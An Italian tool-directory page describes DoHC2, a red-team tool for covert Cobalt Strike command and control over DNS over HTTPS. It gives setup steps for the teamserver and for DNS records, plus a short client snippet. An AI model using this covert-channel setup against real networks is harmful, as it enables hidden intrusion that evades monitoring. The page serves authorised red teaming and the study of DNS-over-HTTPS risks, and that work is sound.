Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
DoHC2 — DoHC2 consente di utilizzare la libreria ExternalC2 di Ryan Hanson (https://github.com/ryhanson/ExternalC2) per il command and control (C2) tramite DNS over HTTPS (DoH). | Kitploit
Strumenti/GitHubGitHub/spiderlabs/dohc2
Frameworks per Penetration TestingFramework di ExploitCommand and ControlRed TeamingSviluppo PayloadAnalisi DNSArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 consente di utilizzare la libreria ExternalC2 di Ryan Hanson (https://github.com/ryhanson/ExternalC2) per il command and control (C2) tramite DNS over HTTPS (DoH).

Vedi Repository
449936 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

⚠️ NOTA: questo strumento non è più in manutenzione attiva.

DoHC2

DoHC2 consente di utilizzare la libreria ExternalC2 di Ryan Hanson (https://github.com/ryhanson/ExternalC2) per il command and control (C2) tramite DNS over HTTPS (DoH). È stato creato per il popolare software di Adversary Simulation e Red Team Operations Cobalt Strike (https://www.cobaltstrike.com).

Presentazione

Questo progetto è stato rilasciato il 23 ottobre 2018 al Mitre ATT&CKcon.

Slide: Fare l'avvocato del diavolo per le iniziative di sicurezza con ATT&CK

Articolo del blog: DOH! Il DNS over HTTPS comporta possibili rischi per le aziende

Diagramma

Screenshot

Utilizzo

  1. Installare e avviare il teamserver di Cobalt Strike.
  2. Avviare un listener beacon_http/beacon_https - Attenzione Può essere isolato tramite firewall, ma è necessario per far funzionare External C2.
  3. Caricare lo script 'external_c2.cna' per avviare ExternalC2 sulla porta 2222 (Firewall disattivato).
  4. Installare le dipendenze per il server python3.
  5. Consentire la porta 53/udp verso Internet (o verso gli intervalli IP del provider DoH).
  6. Creare un record A sul proprio dominio che punti all'IP del teamserver/server DNS, ad esempio [A] entry.example.org -> 000.000.000.000.
  7. Creare un record NS che punti al record A per il canale di invio (INPUTDOMAIN), ad esempio [NS] send.example.org -> entry.example.org.
  8. Creare un record NS che punti al record A per il canale di ricezione (OUTPUTDOMAIN), ad esempio [NS] receive.example.org -> entry.example.org.
  9. Modificare INPUTDOMAIN e OUTPUTDOMAIN in DoHC2.py. Cambiare la chiave di crittografia/IV: viene utilizzata per crittografare il percorso da Teamserver-->Client (solo) (crittografa lo Stager). Modificare max_records da 1 in base al provider DoH: alcuni provider riordinano i record restituiti, cosa che al momento non è gestita. Il valore massimo di 5 funziona bene con il server DNS.
  10. Avviare il server DNS python3.
  11. Compilare la libreria ExternalC2. Cambiare la chiave di crittografia/IV in DoHChannel.cs in modo che corrisponda al server python3.
  12. Configurare e avviare DoHC2() come di seguito, assicurandosi di impostare INPUTDOMAIN, OUTPUTDOMAIN e un provider DoH nel formato 'https://resolver.example.org/dns-query'.

Server

Server DNS Python basato su ACME DNS Server

  • Questa interfaccia connette il DNS grezzo al Teamserver di Cobalt Strike su 127.0.0.1:2222 per impostazione predefinita.
  • Cambiare INPUTDOMAIN e OUTPUTDOMAIN in host che siano NS dell'IP esterno del server:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Libreria

La ExternalC2 di @ryhanson con le seguenti aggiunte:

  • Channels> DoHChannel.cs - implementazione DoH
  • Channels > Base32.cs (da https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - configurazione del canale DoH / wrapper
  • Newtonsoft.JSON (https://www.newtonsoft.com/json) è aggiunto al progetto.

Esempio di client

  • Come per il resto di ExternalC2, DoHC2 è COMVisible per JScript/DotNetToJS, ma questo è un semplice esempio per avviarlo.
  • Il client di esempio DoHC2Runner è un semplice programma C# per dimostrare il caricamento della libreria e la sua configurazione come segue:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Autori

  • David Middlehurst - Twitter- @dtmsecurity

Licenza

DoHC2

Alcuni elementi creati da David Middlehurst, SpiderLabs come descritto sopra (Fare riferimento alle rispettive licenze dove vengono utilizzati altri progetti open-source).

Copyright (C) 2018 Trustwave Holdings, Inc.

Questo programma è software libero: puoi ridistribuirlo e/o modificarlo secondo i termini della GNU General Public License come pubblicata dalla Free Software Foundation, o la versione 3 della Licenza, o (a tua scelta) qualsiasi versione successiva.

Questo programma è distribuito nella speranza che possa essere utile, ma SENZA ALCUNA GARANZIA; senza nemmeno la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedere la GNU General Public License per maggiori dettagli.

Riconoscimenti

  • ExternalC2
  • Specifica ExternalC2
  • ACME DNS Server - (Server Python)
  • Python Shared File C2 - (Server Python)
  • Python External_C2_Framework - (Server Python)
  • DNSExfiltrator - Server Python

Contributori

  • xinhaojing - Problema del server #1
Scarica lo strumento